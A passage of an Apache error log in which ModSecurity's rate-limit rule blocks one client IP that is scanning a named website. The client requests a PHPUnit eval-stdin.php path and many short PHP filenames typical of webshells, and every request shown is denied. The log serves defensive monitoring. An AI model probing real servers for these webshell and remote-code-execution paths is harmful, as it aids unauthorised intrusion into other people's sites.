"Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aU7OG6yYgLfR4YwO7byI1AAAAQk"]
[Sat Dec 27 03:49:46.134401 2025] [:error] [pid 53443:tid 53461] [client 4.189.107.91:18838] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qual.php"] [unique_id "aU7m2ovixl-n325_196xQgAAAAg"]
[Sat Dec 27 03:49:46.414160 2025] [:error] [pid 53550:tid 53574] [client 4.189.107.91:18932] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qual.php"] [unique_id "aU7m2rgHjjFoyoP_DoHGJAAAANQ"]
[Sat Dec 27 03:49:46.684777 2025] [:error] [pid 53443:tid 53464] [client 4.189.107.91:18846] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qual.php"] [unique_id "aU7m2ovixl-n325_196xQwAAAAs"]
[Sat Dec 27 03:49:46.993208 2025] [:error] [pid 53443:tid 53468] [client 4.189.107.91:18840] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qual.php"] [unique_id "aU7m2ovixl-n325_196xRAAAAA8"]
[Sat Dec 27 03:49:47.236014 2025] [:error] [pid 53550:tid 53576] [client 4.189.107.91:18884] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/udnkq.php"] [unique_id "aU7m27gHjjFoyoP_DoHGJwAAANY"]
[Sat Dec 27 03:49:47.482851 2025] [:error] [pid 53550:tid 53554] [client 4.189.107.91:18903] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/udnkq.php"] [unique_id "aU7m27gHjjFoyoP_DoHGKQAAAMA"]
[Sat Dec 27 03:49:47.709929 2025] [:error] [pid 53550:tid 53556] [client 4.189.107.91:18935] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/udnkq.php"] [unique_id "aU7m27gHjjFoyoP_DoHGKgAAAMI"]
[Sat Dec 27 03:49:47.950207 2025] [:error] [pid 53445:tid 53524] [client 4.189.107.91:18902] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/udnkq.php"] [unique_id "aU7m25ExImFfF-26sOBqAAAAAIY"]
[Sat Dec 27 03:49:48.192912 2025] [:error] [pid 53445:tid 53526] [client 4.189.107.91:18816] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aU7m3JExImFfF-26sOBqAQAAAIg"]
[Sat Dec 27 03:49:48.429054 2025] [:error] [pid 53550:tid 53555] [client 4.189.107.91:18939] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aU7m3LgHjjFoyoP_DoHGKwAAAME"]
[Sat Dec 27 03:49:48.660939 2025] [:error] [pid 53443:tid 53472] [client 4.189.107.91:18872] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aU7m3Ivixl-n325_196xRwAAABM"]
[Sat Dec 27 03:49:48.893673 2025] [:error] [pid 53443:tid 53474] [client 4.189.107.91:18924] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aU7m3Ivixl-n325_196xSQAAABU"]
[Sat Dec 27 03:49:49.131481 2025] [:error] [pid 53445:tid 53529] [client 4.189.107.91:18888] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z4qmm5.php"] [unique_id "aU7m3ZExImFfF-26sOBqAgAAAIs"]
[Sat Dec 27 03:49:49.362485 2025] [:error] [pid 53444:tid 53502] [client 4.189.107.91:18919] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z4qmm5.php"] [unique_id "aU7m3eu6cLWyKXCdJRwjAwAAAEs"]
[Sat Dec 27 03:49:49.605526 2025] [:error] [pid 53443:tid 53475] [client 4.189.107.91:18897] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z4qmm5.php"] [unique_id "aU7m3Yvixl-n325_196xSwAAABY"]
[Sat Dec 27 03:49:49.832492 2025] [:error] [pid 53443:tid 53456] [client 4.189.107.91:18842] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z4qmm5.php"] [unique_id "aU7m3Yvixl-n325_196xTgAAAAM"]
[Sat Dec 27 03:49:50.060375 2025] [:error] [pid 53443:tid 53463] [client 4.189.107.91:18839] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no3.php"] [unique_id "aU7m3ovixl-n325_196xUAAAAAo"]
[Sat Dec 27 03:49:50.287859 2025] [:error] [pid 53445:tid 53525] [client 4.189.107.91:18886] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no3.php"] [unique_id "aU7m3pExImFfF-26sOBqBAAAAIc"]
[Sat Dec 27 03:49:50.514696 2025] [:error] [pid 53443:tid 53462] [client 4.189.107.91:18913] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no3.php"] [unique_id "aU7m3ovixl-n325_196xUgAAAAk"]
[Sat Dec 27 03:49:50.742253 2025] [:error] [pid 53445:tid 53519] [client 4.189.107.91:18840] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no3.php"] [unique_id "aU7m3pExImFfF-26sOBqBQAAAIE"]
[Sat Dec 27 03:49:50.970657 2025] [:error] [pid 53445:tid 53527] [client 4.189.107.91:18828] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/om.php"] [unique_id "aU7m3pExImFfF-26sOBqBwAAAIk"]
[Sat Dec 27 03:49:51.196300 2025] [:error] [pid 53443:tid 53454] [client 4.189.107.91:13285] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/om.php"] [unique_id "aU7m34vixl-n325_196xVAAAAAE"]
[Sat Dec 27 03:49:51.426255 2025] [:error] [pid 53445:tid 53533] [client 4.189.107.91:18930] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/om.php"] [unique_id "aU7m35ExImFfF-26sOBqCQAAAI8"]
[Sat Dec 27 03:49:51.652323 2025] [:error] [pid 53443:tid 53461] [client 4.189.107.91:18855] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/om.php"] [unique_id "aU7m34vixl-n325_196xVwAAAAg"]
[Sat Dec 27 03:49:51.880569 2025] [:error] [pid 53550:tid 53561] [client 4.189.107.91:18900] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/webix.php"] [unique_id "aU7m37gHjjFoyoP_DoHGNAAAAMc"]
[Sat Dec 27 03:49:52.112024 2025] [:error] [pid 53550:tid 53569] [client 4.189.107.91:18841] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/webix.php"] [unique_id "aU7m4LgHjjFoyoP_DoHGNgAAAM8"]
[Sat Dec 27 03:49:52.341460 2025] [:error] [pid 53443:tid 53470] [client 4.189.107.91:18836] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/webix.php"] [unique_id "aU7m4Ivixl-n325_196xWQAAABE"]
[Sat Dec 27 03:49:52.571206 2025] [:error] [pid 53550:tid 53576] [client 4.189.107.91:13284] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/webix.php"] [unique_id "aU7m4LgHjjFoyoP_DoHGOgAAANY"]
[Sat Dec 27 03:49:52.803670 2025] [:error] [pid 53443:tid 53458] [client 4.189.107.91:13268] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "aU7m4Ivixl-n325_196xWgAAAAU"]
[Sat Dec 27 03:49:53.033692 2025] [:error] [pid 53444:tid 53500] [client 4.189.107.91:18892] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "aU7m4eu6cLWyKXCdJRwjBwAAAEk"]
[Sat Dec 27 03:49:53.260889 2025] [:error] [pid 53444:tid 53501] [client 4.189.107.91:18940] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "aU7m4eu6cLWyKXCdJRwjCAAAAEo"]
[Sat Dec 27 03:49:53.488223 2025] [:error] [pid 53550:tid 53571] [client 4.189.107.91:13291] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "aU7m4bgHjjFoyoP_DoHGQAAAANE"]
[Sat Dec 27 03:49:53.715860 2025] [:error] [pid 53444:tid 53496] [client 4.189.107.91:18882] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cka.php"] [unique_id "aU7m4eu6cLWyKXCdJRwjCQAAAEU"]
[Sat Dec 27 03:49:53.942057 2025] [:error] [pid 53445:tid 53540] [client 4.189.107.91:18834] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cka.php"] [unique_id "aU7m4ZExImFfF-26sOBqDQAAAJY"]
[Sat Dec 27 03:49:54.169222 2025] [:error] [pid 53445:tid 53541] [client 4.189.107.91:18927] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cka.php"] [unique_id "aU7m4pExImFfF-26sOBqDgAAAJc"]
[Sat Dec 27 03:49:54.397106 2025] [:error] [pid 53444:tid 53503] [client 4.189.107.91:18819] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cka.php"] [unique_id "aU7m4uu6cLWyKXCdJRwjCgAAAEw"]
[Sat Dec 27 03:49:54.624384 2025] [:error] [pid 53550:tid 53578] [client 4.189.107.91:18837] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aU7m4rgHjjFoyoP_DoHGRQAAANg"]
[Sat Dec 27 03:49:54.851068 2025] [:error] [pid 53550:tid 53561] [client 4.189.107.91:18881] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aU7m4rgHjjFoyoP_DoHGRgAAAMc"]
[Sat Dec 27 03:49:55.077818 2025] [:error] [pid 53550:tid 53567] [client 4.189.107.91:18912] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aU7m47gHjjFoyoP_DoHGRwAAAM0"]
[Sat Dec 27 03:49:55.305458 2025] [:error] [pid 53550:tid 53572] [client 4.189.107.91:18905] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aU7m47gHjjFoyoP_DoHGSQAAANI"]
[Sat Dec 27 03:49:55.533191 2025] [:error] [pid 53550:tid 53576] [client 4.189.107.91:18845] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aU7m47gHjjFoyoP_DoHGTAAAANY"]
[Sat Dec 27 03:49:55.760856 2025] [:error] [pid 53444:tid 53506] [client 4.189.107.91:18823] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aU7m4-u6cLWyKXCdJRwjDAAAAE8"]
[Sat Dec 27 03:49:55.987719 2025] [:error] [pid 53444:tid 53511] [client 4.189.107.91:18891] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aU7m4-u6cLWyKXCdJRwjDQAAAFQ"]
[Sat Dec 27 03:49:56.218537 2025] [:error] [pid 53444:tid 53495] [client 4.189.107.91:13290] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aU7m5Ou6cLWyKXCdJRwjDgAAAEQ"]
[Sat Dec 27 03:49:56.449773 2025] [:error] [pid 53444:tid 53498] [client 4.189.107.91:18941] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aU7m5Ou6cLWyKXCdJRwjDwAAAEc"]
[Sat Dec 27 03:49:56.676547 2025] [:error] [pid 53444:tid 53502] [client 4.189.107.91:18922] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aU7m5Ou6cLWyKXCdJRwjEAAAAEs"]
[Sat Dec 27 03:49:56.905272 2025] [:error] [pid 53443:tid 53475] [client 4.189.107.91:18909] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aU7m5Ivixl-n325_196xXgAAABY"]
[Sat Dec 27 03:49:57.131534 2025] [:error] [pid 53444:tid 53507] [client 4.189.107.91:18921] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aU7m5eu6cLWyKXCdJRwjEQAAAFA"]
[Sat Dec 27 03:49:57.358614 2025] [:error] [pid 53443:tid 53456] [client 4.189.107.91:18896] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aU7m5Yvixl-n325_196xXwAAAAM"]
[Sat Dec 27 03:49:57.587775 2025] [:error] [pid 53444:tid 53492] [client 4.189.107.91:18914] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aU7m5eu6cLWyKXCdJRwjEgAAAEE"]
[Sat Dec 27 03:49:57.815563 2025] [:error] [pid 53443:tid 53460] [client 4.189.107.91:13248] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aU7m5Yvixl-n325_196xYAAAAAc"]
[Sat Dec 27 03:49:58.041856 2025] [:error] [pid 53550:tid 53558] [client 4.189.107.91:13278] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aU7m5rgHjjFoyoP_DoHGVwAAAMQ"]
[Sat Dec 27 03:49:58.268357 2025] [:error] [pid 53443:tid 53455] [client 4.189.107.91:18910] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aU7m5ovixl-n325_196xYgAAAAI"]
[Sat Dec 27 03:49:58.498664 2025] [:error] [pid 53444:tid 53509] [client 4.189.107.91:18869] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aU7m5uu6cLWyKXCdJRwjEwAAAFI"]
[Sat Dec 27 03:49:58.729065 2025] [:error] [pid 53443:tid 53465] [client 4.189.107.91:18827] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aU7m5ovixl-n325_196xZAAAAAw"]
[Sat Dec 27 03:49:58.957102 2025] [:error] [pid 53443:tid 53466] [client 4.189.107.91:18829] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aU7m5ovixl-n325_196xZQAAAA0"]
